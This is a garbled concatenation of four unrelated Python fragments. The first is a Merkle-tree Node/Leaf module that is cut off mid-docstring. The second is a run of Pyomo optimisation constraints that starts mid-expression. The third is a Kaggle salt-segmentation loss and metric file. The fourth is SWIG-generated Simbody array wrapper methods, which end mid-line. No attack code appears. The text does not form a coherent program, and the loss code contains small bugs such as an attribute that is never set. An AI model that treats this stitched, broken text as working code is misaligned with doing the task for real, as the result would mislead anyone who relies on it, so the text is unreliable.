""" Provides the base class for the Merkle-tree's nodes and an inheriting class for its leaves """ from .serializers import NodeSerializer import json # Prefices to be used for nice tree printing L_BRACKET_SHORT = '\u2514' + '\u2500' # └─ L_BRACKET_LONG = '\u2514' + 2 * '\u2500' # └── T_BRACKET = '\u251C' + 2 * '\u2500' # ├── VERTICAL_BAR = '\u2502' # │ class Node(object): """Base class for the nodes of a Merkle-tree :param hash_function: hash function to be used for encryption. Should be the ``.hash`` method of the containing Merkle-tree :type hash_function: method :param encoding: Encoding type to be used when decoding the hash stored by the node. Should coincide with the containing Merkle-tree's encoding type. :type encoding: str :param record: [optional] the record to be encrypted within the node. If provided, then the node is considered to be a leaf and ``stored_hash`` should *not* be provided. :type record: str or bytes or bytearray :param left: [optional] the node's left parent. If not provided, then the node is considered to be a leaf :type left: nodes.Node :param right: [optional] the node's right parent. If not provided, then the node is considered to be a leaf :type right: nodes.Node :param stored_hash: [optional] The hash to be stored at creation by the node (after encoding). If provided, then ``record`` should *not* be provided. :type stored_hash: str .. warning:: *Either* ``record`` *or* ``stored_hash`` should be provided. :ivar stored_hash: (*bytes*) The hash currently stored by the node :ivar left: (*nodes.Node*) The node's left parent. Defaults to ``None`` if the node is a leaf :ivar right: (*nodes.Node*) The node's right parent. Defaults to ``None`` if the node is a leaf :ivar child: (*nodes.Node*) The node's child parent. Defaults to ``None`` if the node is a root :ivar encoding: (*str*) The node's encoding type. Used for decoding its stored hash when printing """ def __init__( self, hash_function, encoding, record=None, left=None, right=None, stored_hash=None): self.left, self.right, self.child = None, None, None # Stored for decoding when printing self.encoding = encoding if left is None and right is None: # leaf case (parentless node) self.stored_hash = hash_function(record) if stored_hash is None\ else bytes(stored_hash, encoding) # Interior case (node with exactly two parents) elif record is None: left.child, right.child = self, self self.left, self.right = left, right self.stored_hash = hash_function( left.stored_hash, right.stored_hash) # ------------------------- Representation formatting -------------------- def __repr__(self): """Overrides the default implementation Sole purpose of this function is to easy print info about a node by just invoking it at console .. warning:: Contrary to convention, the output of this implementation is *not* insertible to the ``eval`` function """ def memory_id(obj): return str( hex(id(obj))) if obj else '{} ({})'.format(None, hex(id(obj))) return '\n memory-id : {memory_id}\ \n left parent : {left}\ \n right parent : {right}\ \n child : {child}\ \n hash : {hash}\n'\ .format(memory_id=memory_id(self), left=memory_id(self.left), right=memory_id(self.right), child=memory_id(self.child), hash=self.stored_hash.decode(self.encoding)) def __str__(self, encoding=None, level=0, indent=3, ignore=[]): """Overrides the default implementation. Designed so that inserting the node as an argument to ``print`` displays the subtree having that node as root. Sole purpose of this function is to be used for printing Merkle-trees in a terminal friendly way, similar to what is printed at console when running the ``tree`` command of Unix based platforms. :param encoding: [optional] encoding type to be used for decoding the node's current stored hash :type encoding: str :param level: [optional] Defaults to ``0``. Should be always left equal to the *default* value when called externally by the user. Increased by one whenever the function is recursively called so that track be kept of depth while printing :type level: int :param indent: [optional] the horizontal depth at which each level of the tree will be indented with respect to the previous one; increase it to achieve better visibility of the tree's structure. Defaults to 3. :type indent: int :param ignore: [optional] Defaults to the empty list ``[]``. Should be always left equal to the *default* value when called externally by the user. Augmented appropriately whenever the function is recursively called so that track be kept of the positions where vertical bars should be omitted :type ignore: list of integers :rtype: str .. note:: The left parent of each node is printed *above* the right one """ if level == 0: output = '\n' if not self.isLeftParent() and not self.isRightParent(): # root case output += ' ' + L_BRACKET_SHORT else: output = (indent + 1) * ' ' for i in range(1, level): if i not in ignore: output += ' ' + VERTICAL_BAR # Include vertical bar else: output += 2 * ' ' output += indent * ' ' new_ignore = ignore[:] del ignore if self.isLeftParent(): output += ' ' + T_BRACKET if self.isRightParent(): output += ' ' + L_BRACKET_LONG new_ignore.append(level) encoding = encoding if encoding else self.encoding output += self.stored_hash.decode(encoding=encoding) + '\n' if not isinstance(self, Leaf): # Recursive step output += self.left.__str__( encoding=encoding, level=level + 1, indent=indent, ignore=new_ignore) output += self.right.__str__( level=level + 1, encoding=encoding, indent=indent, ignore=new_ignore) return output # ----------------------------- Boolean functions ------------------------ def isLeftParent(self): """Checks if the node is a left parent :returns: ``True`` iff the node is the ``.left`` attribute of some other node inside the containing Merkle-tree :rtype: bool """ if self.child is not None: return self == self.child.left return False def isRightParent(self): """Checks if the node is a right parent :returns: ``True`` iff the node is the ``.right`` attribute of some other node inside the containing Merkle-tree :rtype: bool """ if self.child is not None: return self == self.child.right return False # ------------------------- Merkle-tree updating tools ------------------- def descendant(self, degree): """ Detects and returns the node that is ``degree`` steps upwards within the containing Merkle-tree .. note:: Descendant of degree ``0`` is the node itself, descendant of degree ``1`` is the node's child, etc. :param degree: depth of descendancy. Must be non-negative :type degree: int :returns: the descendant corresdponding to the requested depth :rtype: nodes.Node .. note:: Returns ``None`` if the requested depth of dependancy exceeds possibilities """ if degree == 0: descendant = self else: try: descendant = self.child.descendant(degree - 1) except AttributeError: descendant = None return descendant def recalculate_hash(self, hash_function): """Recalculates the node's hash under account of its parents' new hashes This method is to be invoked for all non-leaf nodes of the Merkle-tree's rightmost branch every time a new leaf is appended into the tree :param hash_function: hash function to be used during recalculation (thought of as the ``.hash`` method of the containing Merkle-tree) :type hash_function: method .. warning:: Only for interior nodes (i.e., with two parents), fails in case of leaf nodes """ self.stored_hash = hash_function( self.left.stored_hash, self.right.stored_hash) # ------------------------------- Serialization -------------------------- def serialize(self): """ Returns a JSON entity with the node's attributes as key-value pairs :rtype: dict .. note:: The ``.child`` attribute is excluded from JSON formatting of nodes in order for circular reference error to be avoided. """ serializer = NodeSerializer() return serializer.default(self) def JSONstring(self): """Returns a nicely stringified version of the node's JSON serialized form .. note:: The output of this function is to be passed into the ``print`` function :rtype: str """ return json.dumps(self, cls=NodeSerializer, sort_keys=True, indent=4) # -------------------------------- End of class -------------------------- class Leaf(Node): """Class for the leafs of Merkle-tree (parentless nodes) :param hash_function: hash function to be used for encryption (only once). Should be the ``.hash`` attribute of the containing Merkle-tree :type hash_function: method :param encoding: Encoding type to be used when decoding the hash stored by the node. Should coincide with the containing Merkle-tree's encoding type. :type encoding: str :param record: [optional] The record to be encrypted within the leaf. If provided, then ``stored_hash`` should *not* be provided. :type record: str or bytes or bytearray :param stored_hash: [optional] The hash to be stored at creation by the leaf (after encoding). If provided, then ``record`` should *not* be provided. :type stored_hash: str .. warning:: *Either* ``record`` *or* ``stored_hash``
- m.x774 + m.x816 + m.x823 - m.x872 + m.x914 + m.x921 - m.x970 + m.x1012 + m.x1019 - m.x1068 + m.x1110 + m.x1117 - m.x1166 + m.x1208 + m.x1215 + m.x2010 == 0) m.c2705 = Constraint(expr= - m.x579 + m.x621 + m.x628 - m.x677 + m.x719 + m.x726 - m.x775 + m.x817 + m.x824 - m.x873 + m.x915 + m.x922 - m.x971 + m.x1013 + m.x1020 - m.x1069 + m.x1111 + m.x1118 - m.x1167 + m.x1209 + m.x1216 + m.x2011 == 0) m.c2706 = Constraint(expr= - m.x580 + m.x622 + m.x629 - m.x678 + m.x720 + m.x727 - m.x776 + m.x818 + m.x825 - m.x874 + m.x916 + m.x923 - m.x972 + m.x1014 + m.x1021 - m.x1070 + m.x1112 + m.x1119 - m.x1168 + m.x1210 + m.x1217 + m.x2012 == 0) m.c2707 = Constraint(expr= - m.x581 + m.x623 + m.x630 - m.x679 + m.x721 + m.x728 - m.x777 + m.x819 + m.x826 - m.x875 + m.x917 + m.x924 - m.x973 + m.x1015 + m.x1022 - m.x1071 + m.x1113 + m.x1120 - m.x1169 + m.x1211 + m.x1218 + m.x2013 == 20) m.c2708 = Constraint(expr= - m.x582 + m.x624 + m.x631 - m.x680 + m.x722 + m.x729 - m.x778 + m.x820 + m.x827 - m.x876 + m.x918 + m.x925 - m.x974 + m.x1016 + m.x1023 - m.x1072 + m.x1114 + m.x1121 - m.x1170 + m.x1212 + m.x1219 + m.x2014 == 0) m.c2709 = Constraint(expr= - m.x583 - m.x597 + m.x632 - m.x681 - m.x695 + m.x730 - m.x779 - m.x793 + m.x828 - m.x877 - m.x891 + m.x926 - m.x975 - m.x989 + m.x1024 - m.x1073 - m.x1087 + m.x1122 - m.x1171 - m.x1185 + m.x1220 + m.x2015 == 0) m.c2710 = Constraint(expr= - m.x584 - m.x598 + m.x633 - m.x682 - m.x696 + m.x731 - m.x780 - m.x794 + m.x829 - m.x878 - m.x892 + m.x927 - m.x976 - m.x990 + m.x1025 - m.x1074 - m.x1088 + m.x1123 - m.x1172 - m.x1186 + m.x1221 + m.x2016 == 0) m.c2711 = Constraint(expr= - m.x585 - m.x599 + m.x634 - m.x683 - m.x697 + m.x732 - m.x781 - m.x795 + m.x830 - m.x879 - m.x893 + m.x928 - m.x977 - m.x991 + m.x1026 - m.x1075 - m.x1089 + m.x1124 - m.x1173 - m.x1187 + m.x1222 + m.x2017 == 0) m.c2712 = Constraint(expr= - m.x586 - m.x600 + m.x635 - m.x684 - m.x698 + m.x733 - m.x782 - m.x796 + m.x831 - m.x880 - m.x894 + m.x929 - m.x978 - m.x992 + m.x1027 - m.x1076 - m.x1090 + m.x1125 - m.x1174 - m.x1188 + m.x1223 + m.x2018 == 0) m.c2713 = Constraint(expr= - m.x587 - m.x601 + m.x636 - m.x685 - m.x699 + m.x734 - m.x783 - m.x797 + m.x832 - m.x881 - m.x895 + m.x930 - m.x979 - m.x993 + m.x1028 - m.x1077 - m.x1091 + m.x1126 - m.x1175 - m.x1189 + m.x1224 + m.x2019 == 0) m.c2714 = Constraint(expr= - m.x588 - m.x602 + m.x637 - m.x686 - m.x700 + m.x735 - m.x784 - m.x798 + m.x833 - m.x882 - m.x896 + m.x931 - m.x980 - m.x994 + m.x1029 - m.x1078 - m.x1092 + m.x1127 - m.x1176 - m.x1190 + m.x1225 + m.x2020 == 0) m.c2715 = Constraint(expr= - m.x589 - m.x603 + m.x638 - m.x687 - m.x701 + m.x736 - m.x785 - m.x799 + m.x834 - m.x883 - m.x897 + m.x932 - m.x981 - m.x995 + m.x1030 - m.x1079 - m.x1093 + m.x1128 - m.x1177 - m.x1191 + m.x1226 + m.x2021 == 30) m.c2716 = Constraint(expr= - m.x590 - m.x604 - m.x618 + m.x639 + m.x646 - m.x688 - m.x702 - m.x716 + m.x737 + m.x744 - m.x786 - m.x800 - m.x814 + m.x835 + m.x842 - m.x884 - m.x898 - m.x912 + m.x933 + m.x940 - m.x982 - m.x996 - m.x1010 + m.x1031 + m.x1038 - m.x1080 - m.x1094 - m.x1108 + m.x1129 + m.x1136 - m.x1178 - m.x1192 - m.x1206 + m.x1227 + m.x1234 + m.x2022 == 0) m.c2717 = Constraint(expr= - m.x591 - m.x605 - m.x619 + m.x640 + m.x647 - m.x689 - m.x703 - m.x717 + m.x738 + m.x745 - m.x787 - m.x801 - m.x815 + m.x836 + m.x843 - m.x885 - m.x899 - m.x913 + m.x934 + m.x941 - m.x983 - m.x997 - m.x1011 + m.x1032 + m.x1039 - m.x1081 - m.x1095 - m.x1109 + m.x1130 + m.x1137 - m.x1179 - m.x1193 - m.x1207 + m.x1228 + m.x1235 + m.x2023 == 0) m.c2718 = Constraint(expr= - m.x592 - m.x606 - m.x620 + m.x641 + m.x648 - m.x690 - m.x704 - m.x718 + m.x739 + m.x746 - m.x788 - m.x802 - m.x816 + m.x837 + m.x844 - m.x886 - m.x900 - m.x914 + m.x935 + m.x942 - m.x984 - m.x998 - m.x1012 + m.x1033 + m.x1040 - m.x1082 - m.x1096 - m.x1110 + m.x1131 + m.x1138 - m.x1180 - m.x1194 - m.x1208 + m.x1229 + m.x1236 + m.x2024 == 0) m.c2719 = Constraint(expr= - m.x593 - m.x607 - m.x621 + m.x642 + m.x649 - m.x691 - m.x705 - m.x719 + m.x740 + m.x747 - m.x789 - m.x803 - m.x817 + m.x838 + m.x845 - m.x887 - m.x901 - m.x915 + m.x936 + m.x943 - m.x985 - m.x999 - m.x1013 + m.x1034 + m.x1041 - m.x1083 - m.x1097 - m.x1111 + m.x1132 + m.x1139 - m.x1181 - m.x1195 - m.x1209 + m.x1230 + m.x1237 + m.x2025 == 0) m.c2720 = Constraint(expr= - m.x594 - m.x608 - m.x622 + m.x643 + m.x650 - m.x692 - m.x706 - m.x720 + m.x741 + m.x748 - m.x790 - m.x804 - m.x818 + m.x839 + m.x846 - m.x888 - m.x902 - m.x916 + m.x937 + m.x944 - m.x986 - m.x1000 - m.x1014 + m.x1035 + m.x1042 - m.x1084 - m.x1098 - m.x1112 + m.x1133 + m.x1140 - m.x1182 - m.x1196 - m.x1210 + m.x1231 + m.x1238 + m.x2026 == 50) m.c2721 = Constraint(expr= - m.x595 - m.x609 - m.x623 + m.x644 + m.x651 - m.x693 - m.x707 - m.x721 + m.x742 + m.x749 - m.x791 - m.x805 - m.x819 + m.x840 + m.x847 - m.x889 - m.x903 - m.x917 + m.x938 + m.x945 - m.x987 - m.x1001 - m.x1015 + m.x1036 + m.x1043 - m.x1085 - m.x1099 - m.x1113 + m.x1134 + m.x1141 - m.x1183 - m.x1197 - m.x1211 + m.x1232 + m.x1239 + m.x2027 == 0) m.c2722 = Constraint(expr= - m.x596 - m.x610 - m.x624 + m.x645 + m.x652 - m.x694 - m.x708 - m.x722 + m.x743 + m.x750 - m.x792 - m.x806 - m.x820 + m.x841 + m.x848 - m.x890 - m.x904 - m.x918 + m.x939 + m.x946 - m.x988 - m.x1002 - m.x1016 + m.x1037 + m.x1044 - m.x1086 - m.x1100 - m.x1114 + m.x1135 + m.x1142 - m.x1184 - m.x1198 - m.x1212 + m.x1233 + m.x1240 + m.x2028 == 0) m.c2723 = Constraint(expr= - m.x611 - m.x625 + m.x653 - m.x709 - m.x723 + m.x751 - m.x807 - m.x821 + m.x849 - m.x905 - m.x919 + m.x947 - m.x1003 - m.x1017 + m.x1045 - m.x1101 - m.x1115 + m.x1143 - m.x1199 - m.x1213 + m.x1241 + m.x2029 == 0) m.c2724 = Constraint(expr= - m.x612 - m.x626 + m.x654 - m.x710 - m.x724 + m.x752 - m.x808 - m.x822 + m.x850 - m.x906 - m.x920 + m.x948 - m.x1004 - m.x1018 + m.x1046 - m.x1102 - m.x1116 + m.x1144 - m.x1200 - m.x1214 + m.x1242 + m.x2030 == 0) m.c2725 = Constraint(expr= - m.x613 - m.x627 + m.x655 - m.x711 - m.x725 + m.x753 - m.x809 - m.x823 + m.x851 - m.x907 - m.x921 + m.x949 - m.x1005 - m.x1019 + m.x1047 - m.x1103 - m.x1117 + m.x1145 - m.x1201 - m.x1215 + m.x1243 + m.x2031 == 0) m.c2726 = Constraint(expr= - m.x614 - m.x628 + m.x656 - m.x712 - m.x726 + m.x754 - m.x810 - m.x824 + m.x852 - m.x908 - m.x922 + m.x950 - m.x1006 - m.x1020 + m.x1048 - m.x1104 - m.x1118 + m.x1146 - m.x1202 - m.x1216
<reponame>hphuongdhsp/Kaggle-TGS-Salt-Identification-Challenge<gh_stars>1-10 #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sat Aug 4 10:26:10 2018 @author: ai """ import numpy as np import torch from torch import nn from torch.nn import functional as F from torch.autograd import Variable def soft_jaccard(outputs, targets): eps = 1e-15 jaccard_target = (targets == 1).float() jaccard_output = F.sigmoid(outputs) intersection = (jaccard_output * jaccard_target).sum() union = jaccard_output.sum() + jaccard_target.sum() return intersection / (union - intersection + eps) class LossBinary: """ Loss defined as BCE - log(soft_jaccard) <NAME>, <NAME>, <NAME>, Satellite Imagery Feature Detection using Deep Convolutional Neural Network: A Kaggle Competition arXiv:1706.06169 """ def __init__(self, jaccard_weight=0): self.nll_loss = nn.BCEWithLogitsLoss() self.jaccard_weight = jaccard_weight def __call__(self, outputs, targets): loss = (1 - self.jaccard_weight) * self.nll_loss(outputs, targets) if self.jaccard_weight: loss += self.jaccard_weight * (1 - soft_jaccard(outputs, targets)) return loss class FocalLoss2d(nn.Module): def __init__(self, gamma=2, size_average=True): super(FocalLoss2d, self).__init__() self.gamma = gamma self.size_average = size_average def forward(self, logit, target, class_weight=None): target = target.view(-1, 1).long() if class_weight is None: class_weight = [1]*2 #[0.5, 0.5] prob = F.sigmoid(logit) prob = prob.view(-1, 1) prob = torch.cat((1-prob, prob), 1) select = torch.FloatTensor(len(prob), 2).zero_().cuda() select.scatter_(1, target, 1.) class_weight = torch.FloatTensor(class_weight).cuda().view(-1,1) class_weight = torch.gather(class_weight, 0, target) prob = (prob*select).sum(1).view(-1,1) prob = torch.clamp(prob,1e-8,1-1e-8) batch_loss = - class_weight *(torch.pow((1-prob), self.gamma))*prob.log() if self.size_average: loss = batch_loss.mean() else: loss = batch_loss return loss ## http://geek.csdn.net/news/detail/126833 class PseudoBCELoss2d(nn.Module): def __init__(self): super(PseudoBCELoss2d, self).__init__() def forward(self, logit, truth): z = logit.view (-1) t = truth.view (-1) loss = z.clamp(min=0) - z*t + torch.log(1 + torch.exp(-z.abs())) loss = loss.sum()/len(t) #w.sum() return loss ############################################################################### def calc_iou(actual,pred): intersection = np.count_nonzero(actual*pred) union = np.count_nonzero(actual) + np.count_nonzero(pred) - intersection iou_result = intersection/union if union!=0 else 0. return iou_result def calc_ious(actuals,preds): ious_ = np.array([calc_iou(a,p) for a,p in zip(actuals,preds)]) return ious_ def calc_precisions(thresholds,ious): thresholds = np.reshape(thresholds,(1,-1)) ious = np.reshape(ious,(-1,1)) ps = ious>thresholds mps = ps.mean(axis=1) return mps def indiv_scores(masks,preds): masks[masks>0] = 1 preds[preds>0] = 1 ious = calc_ious(masks,preds) thresholds = [0.5, 0.55, 0.6, 0.65, 0.7, 0.75, 0.8, 0.85, 0.9, 0.95] precisions = calc_precisions(thresholds,ious) ###### Adjust score for empty masks emptyMasks = np.count_nonzero(masks.reshape((len(masks),-1)),axis=1)==0 emptyPreds = np.count_nonzero(preds.reshape((len(preds),-1)),axis=1)==0 adjust = (emptyMasks==emptyPreds).astype(np.float) precisions[emptyMasks] = adjust[emptyMasks] ################### return precisions def calc_metric(masks,preds): return np.mean(indiv_scores(masks,preds)) def do_kaggle_metric(predict,truth, threshold=0.5): """ input includes 3 parametters: predict: x in (-infty,+infty) truth : y in (0,1) threshold """ EPS = 1e-12 N = len(predict) predict = predict.reshape(N,-1) truth = truth.reshape(N,-1) predict = predict>threshold truth = truth>0.5 intersection = truth & predict union = truth | predict iou = intersection.sum(1)/(union.sum(1)+EPS) #------------------------------------------- result = [] precision = [] is_empty_truth = (truth.sum(1)==0) is_empty_predict = (predict.sum(1)==0) threshold = np.array([0.50, 0.55, 0.60, 0.65, 0.70, 0.75, 0.80, 0.85, 0.90, 0.95]) for t in threshold: p = iou>=t tp = (~is_empty_truth) & (~is_empty_predict) & (iou> t) fp = (~is_empty_truth) & (~is_empty_predict) & (iou<=t) fn = (~is_empty_truth) & ( is_empty_predict) fp_empty = ( is_empty_truth) & (~is_empty_predict) tn_empty = ( is_empty_truth) & ( is_empty_predict) p = (tp + tn_empty) / (tp + tn_empty + fp + fp_empty + fn) result.append( np.column_stack((tp,fp,fn,tn_empty,fp_empty)) ) precision.append(p) result = np.array(result).transpose(1,2,0) precision = np.column_stack(precision) precision = precision.mean(1) return precision, result, threshold class RobustFocalLoss2d(nn.Module): #assume top 10% is outliers def __init__(self, gamma=2, size_average=True): super(RobustFocalLoss2d, self).__init__() self.gamma = gamma self.size_average = size_average def forward(self, logit, target, class_weight=None): target = target.view(-1, 1).long() if class_weight is None: class_weight = [1]*2 #[0.5, 0.5] prob = F.sigmoid(logit) prob = prob.view(-1, 1) prob = torch.cat((1-prob, prob), 1) select = torch.FloatTensor(len(prob), 2).zero_().cuda() select.scatter_(1, target, 1.) class_weight = torch.FloatTensor(class_weight).cuda().view(-1,1) class_weight = torch.gather(class_weight, 0, target) prob = (prob*select).sum(1).view(-1,1) prob = torch.clamp(prob,1e-8,1-1e-8) focus = torch.pow((1-prob), self.gamma) #focus = torch.where(focus < 2.0, focus, torch.zeros(prob.size()).cuda()) focus = torch.clamp(focus,0,2) batch_loss = - class_weight *focus*prob.log() if self.size_average: loss = batch_loss.mean() else: loss = batch_loss return loss try: from itertools import ifilterfalse except ImportError: # py3k from itertools import filterfalse def mean(l, ignore_nan=False, empty=0): """ nanmean compatible with generators. """ l = iter(l) if ignore_nan: l = ifilterfalse(np.isnan, l) try: n = 1 acc = next(l) except StopIteration: if empty == 'raise': raise ValueError('Empty mean') return empty for n, v in enumerate(l, 2): acc += v if n == 1: return acc return acc / n def lovasz_grad(gt_sorted): """ Computes gradient of the Lovasz extension w.r.t sorted errors See Alg. 1 in paper """ p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted).float().cumsum(0) jaccard = 1. - intersection / union if p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def iou_binary(preds, labels, EMPTY=1., ignore=None, per_image=True): """ IoU for foreground class binary: 1 foreground, 0 background """ if not per_image: preds, labels = (preds,), (labels,) ious = [] for pred, label in zip(preds, labels): intersection = ((label == 1) & (pred == 1)).sum() union = ((label == 1) | ((pred == 1) & (label != ignore))).sum() if not union: iou = EMPTY else: iou = float(intersection) / union ious.append(iou) iou = ious.mean() # mean accross images if per_image return 100 * iou def iou(preds, labels, C, EMPTY=1., ignore=None, per_image=False): """ Array of IoU for each (non ignored) class """ if not per_image: preds, labels = (preds,), (labels,) ious = [] for pred, label in zip(preds, labels): iou = [] for i in range(C): if i != ignore: # The ignored label is sometimes among predicted classes (ENet - CityScapes) intersection = ((label == i) & (pred == i)).sum() union = ((label == i) | ((pred == i) & (label != ignore))).sum() if not union: iou.append(EMPTY) else: iou.append(float(intersection) / union) ious.append(iou) ious = map(mean, zip(*ious)) # mean accross images if per_image return 100 * np.array(ious) #--------------------------- BINARY LOSSES --------------------------- class Binary_lovasz_dice: """ Loss defined as BCE - log(soft_jaccard) <NAME>, <NAME>, <NAME>, Satellite Imagery Feature Detection using Deep Convolutional Neural Network: A Kaggle Competition arXiv:1706.06169 """ def __init__(self, weight=0,per_image=True, ignore=None): #self.nll_loss = binary_xloss() self.weight = weight self.per_image =per_image self.ignore = ignore def __call__(self, outputs, targets): loss = (1 - self.weight) * (1 - soft_jaccard(outputs, targets)) if self.weight: loss += self.weight * (lovasz_hinge(per_image=self.per_image, ignore=self.ignore)(outputs, targets)) return loss class LossBinary_lovaz: """ Loss defined as BCE - log(soft_jaccard) <NAME>, <NAME>, <NAME>, Satellite Imagery Feature Detection using Deep Convolutional Neural Network: A Kaggle Competition arXiv:1706.06169 """ def __init__(self, weight=0,per_image=True, ignore=None): self.nll_loss = nn.BCEWithLogitsLoss() self.weight = weight def __call__(self, outputs, targets): loss = (1 - self.weight) * self.nll_loss(outputs, targets) if self.jaccard_weight: loss += self.weight * (lovasz_hinge(per_image=self.per_image, ignore=self.ignore)(outputs, targets)) return loss class lovasz_hinge: """ Binary Lovasz hinge loss logits: [B, H, W] Variable, logits at each pixel (between -\infty and +\infty) labels: [B, H, W] Tensor, binary ground truth masks (0 or 1) per_image: compute the loss per image instead of per batch ignore: void class id """ def __init__(self, per_image=True, ignore=None): self.per_image =per_image self.ignore = ignore def __call__(self, outputs, targets): if self.per_image: loss = mean(lovasz_hinge_flat(*flatten_binary_scores(log.unsqueeze(0), lab.unsqueeze(0), self.ignore)) for log, lab in zip(outputs, targets)) else: loss = lovasz_hinge_flat(*flatten_binary_scores(outputs, targets, self.ignore)) return loss def lovasz_hinge_flat(logits, labels): """ Binary Lovasz hinge loss logits: [P] Variable, logits at each prediction (between -\infty and +\infty) labels: [P] Tensor, binary ground truth labels (0 or 1) ignore: label to ignore """ if len(labels) == 0: # only void pixels, the gradients should be 0 return logits.sum() * 0. signs = 2. * labels.float() - 1. errors = (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.elu(errors_sorted)+1, Variable(grad)) return loss def flatten_binary_scores(scores, labels, ignore=None): """ Flattens predictions in the batch (binary case) Remove labels equal to 'ignore' """ scores = scores.view(-1) labels = labels.view(-1) if ignore is None: return scores, labels valid = (labels != ignore) vscores = scores[valid] vlabels = labels[valid] return vscores, vlabels class StableBCELoss(torch.nn.modules.Module): def __init__(self): super(StableBCELoss, self).__init__() def forward(self, input, target): neg_abs = - input.abs() loss = input.clamp(min=0) - input * target + (1 + neg_abs.exp()).log() return loss.mean() def binary_xloss(logits, labels, ignore=None): """ Binary Cross entropy loss logits: [B, H, W] Variable, logits at each pixel (between -\infty and +\infty) labels: [B, H, W] Tensor, binary ground truth masks (0 or 1)
& """ return _simbody.ArrayDecorativeGeometry_fill(self, fillValue) def swap(self, other): """ swap(ArrayDecorativeGeometry self, ArrayDecorativeGeometry other) Parameters ---------- other: SimTK::Array_< SimTK::DecorativeGeometry > & """ return _simbody.ArrayDecorativeGeometry_swap(self, other) def adoptData(self, *args): """ adoptData(ArrayDecorativeGeometry self, DecorativeGeometry newData, SimTK::Array_< SimTK::DecorativeGeometry >::size_type dataSize, SimTK::Array_< SimTK::DecorativeGeometry >::size_type dataCapacity) -> ArrayDecorativeGeometry Parameters ---------- newData: SimTK::DecorativeGeometry * dataSize: SimTK::Array_< SimTK::DecorativeGeometry >::size_type dataCapacity: SimTK::Array_< SimTK::DecorativeGeometry >::size_type adoptData(ArrayDecorativeGeometry self, DecorativeGeometry newData, SimTK::Array_< SimTK::DecorativeGeometry >::size_type dataSize) -> ArrayDecorativeGeometry Parameters ---------- newData: SimTK::DecorativeGeometry * dataSize: SimTK::Array_< SimTK::DecorativeGeometry >::size_type """ return _simbody.ArrayDecorativeGeometry_adoptData(self, *args) def shareData(self, *args): """ shareData(ArrayDecorativeGeometry self, DecorativeGeometry newData, SimTK::Array_< SimTK::DecorativeGeometry >::size_type dataSize) -> ArrayDecorativeGeometry Parameters ---------- newData: SimTK::DecorativeGeometry * dataSize: SimTK::Array_< SimTK::DecorativeGeometry >::size_type shareData(ArrayDecorativeGeometry self, DecorativeGeometry first, DecorativeGeometry last1) -> ArrayDecorativeGeometry Parameters ---------- first: SimTK::DecorativeGeometry * last1: SimTK::DecorativeGeometry const * """ return _simbody.ArrayDecorativeGeometry_shareData(self, *args) def size(self): """ size(ArrayDecorativeGeometry self) -> SimTK::Array_< SimTK::DecorativeGeometry >::size_type Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_size(self) def max_size(self): """ max_size(ArrayDecorativeGeometry self) -> SimTK::Array_< SimTK::DecorativeGeometry >::size_type Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_max_size(self) def empty(self): """ empty(ArrayDecorativeGeometry self) -> bool Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_empty(self) def capacity(self): """ capacity(ArrayDecorativeGeometry self) -> SimTK::Array_< SimTK::DecorativeGeometry >::size_type Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_capacity(self) def resize(self, *args): """ resize(ArrayDecorativeGeometry self, SimTK::Array_< SimTK::DecorativeGeometry >::size_type n) Parameters ---------- n: SimTK::Array_< SimTK::DecorativeGeometry >::size_type resize(ArrayDecorativeGeometry self, SimTK::Array_< SimTK::DecorativeGeometry >::size_type n, DecorativeGeometry initVal) Parameters ---------- n: SimTK::Array_< SimTK::DecorativeGeometry >::size_type initVal: SimTK::DecorativeGeometry const & """ return _simbody.ArrayDecorativeGeometry_resize(self, *args) def reserve(self, n): """ reserve(ArrayDecorativeGeometry self, SimTK::Array_< SimTK::DecorativeGeometry >::size_type n) Parameters ---------- n: SimTK::Array_< SimTK::DecorativeGeometry >::size_type """ return _simbody.ArrayDecorativeGeometry_reserve(self, n) def shrink_to_fit(self): """ shrink_to_fit(ArrayDecorativeGeometry self) Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_shrink_to_fit(self) def allocated(self): """ allocated(ArrayDecorativeGeometry self) -> SimTK::Array_< SimTK::DecorativeGeometry >::size_type Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_allocated(self) def isOwner(self): """ isOwner(ArrayDecorativeGeometry self) -> bool Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_isOwner(self) def cbegin(self): """ cbegin(ArrayDecorativeGeometry self) -> DecorativeGeometry Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_cbegin(self) def begin(self, *args): """ begin(ArrayDecorativeGeometry self) -> DecorativeGeometry begin(ArrayDecorativeGeometry self) -> DecorativeGeometry Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_begin(self, *args) def cend(self): """ cend(ArrayDecorativeGeometry self) -> DecorativeGeometry Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_cend(self) def end(self, *args): """ end(ArrayDecorativeGeometry self) -> DecorativeGeometry end(ArrayDecorativeGeometry self) -> DecorativeGeometry Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > * """ return _simbody.ArrayDecorativeGeometry_end(self, *args) def crbegin(self): """ crbegin(ArrayDecorativeGeometry self) -> SimTK::Array_< SimTK::DecorativeGeometry >::const_reverse_iterator Parameters ---------- self: SimTK::Array_< SimTK::DecorativeGeometry > const * """ return _simbody.ArrayDecorativeGeometry_crbegin(self) def rbegin(self, *args): """ rbegin(ArrayDecorativeGeometry self) -> SimTK::Array_< 